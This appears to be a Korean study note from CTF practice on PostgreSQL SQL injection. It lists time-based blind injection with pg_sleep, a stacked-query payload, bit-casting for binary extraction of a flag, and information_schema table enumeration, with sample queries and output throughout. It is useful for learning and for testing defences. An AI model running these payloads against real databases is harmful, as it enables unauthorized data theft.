PostgreSQL와 관련된 인젝션 문제를 풀어보니, 해당 데이터베이스에서 사용가능한 문법과 함수에 대한 이해가 필요했다.
괜찮은 내용을 발견하면 추가할 예정이다.
문법과 관련된 내용을 정리
범위를 지정
select * from myTable where 1=1 and (select length(current_database())) between 0 and 5;
조건 검색
select case when (current_database() = 'a') then pg_sleep(5) else pg_sleep(1) end;
mysql처럼 where
절에서 원하는 구문을 무조건적으로 실행시킬 수 없다.
결과값이 무조건 boolean
형이어야 한다.
예를 들어 sleep()
을 where
절에서 사용할 때
MariaDB [myDb]> select * from myTable where id=1 and (select case when (length(database())>5) then sleep(5) else sleep(2) end);
Empty set (2.001 sec)
mysql에서는 위와 같이 case when
의 반환값이 모두 sleep()
이지만 정상적으로 실행된다.
하지만 postgreSQL은 다음처럼 에러를 발생시킨다.
postgres=# select * from myTable where id=1 and (select case when (length(current_database())>5) then pg_sleep(5) else pg_sleep(2) end);
오류: AND의 인자는 boolean 자료형이어야 함(void 자료형이 아님)
줄 1: select * from myTable where id=1 and (select case when (leng...
논리연산자 AND
의 인자는 무조건 boolean
타입이어야 한단다.
따라서 postgreSQL에서는 Time based SQL Injection의 경우 where
절에 삽입하지 않고, 세미콜론으로 세컨드 쿼리를 삽입시켜서 그 쿼리에 조건문을 대입하는 것으로 이용하는 듯 하다.
예시
id=2; select case when() then pg_sleep(5) else pg_sleep(0) end; --
※ 현재(20.4.7)까지 접해본 postgreSQL 환경의 timebased sql injection 문제로 추측한 내용이기 때문에, 아닐 수도 있다. where
절에도 삽입 가능한 다른 방법이 존재할 수도※
문법 이외의 built-in 함수, 데이터베이스, 스키마, 유저 정보 관련된 내용을 정리
16진수 숫자로 변환해준다.
postgres=# select to_hex(123);
to_hex
--------
7b
(1개 행)
타입을 변환할 수 있다.
postgres=# select to_hex(cast('123' as integer));
to_hex
--------
7b
(1개 행)
다른 유형도 가능
postgres=# select cast(true as integer);
int4
------
1
(1개 행)
마찬가지로 변환해주는 키워드(?)이다.
type
은 타입, integer
은 자릿수이다.
예시로 확인하자.
postgres=# select (8::bit(7));
bit
---------
0001000
(1개 행)
숫자 8을 2진수로 변환시키는데 7자리수로 표현한다는 뜻이다.
postgres=# select (substr(8::bit(7)::text,1,1));
substr
--------
0
(1개 행)
변환했던 8의 이진수를 문자열(text
)로 변환시켜서 substr
의 인자로 사용했다.
mysql의 sleep()
과 동일하다
현재 이용중인 유저정보와 데이터베이스를 확인할 수 있다.
사용자 정의 테이블, 컬럼은 항상 상위에서 조회된다.
그렇기때문에 따로 where
절로 필터링 할 필요없이 limit 1
로 1개만 가져오면 사용자 정의 테이블을 확인할 수 있다.
select table_name from information_schema.tables where table_catalog='postgres'
이럴 필요없이
select table_name from information_schema.tables limit 1
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
: 종류별 치트정보가 잘 나와있다. 이용할만한 함수를 찾아보면 되겠다.
2진수로 변환해서 플래그를 빠른 시간에 탐색하는 기법이었다.
postgreSQL에서도 가능하다.
하지만 사용되는 함수가 다른 점을 주의하자.
postgres=# select substr((ascii(substr('flag',1,1))::bit(7))::text,3,1)=0::text;
?column?
----------
t
(1개 행)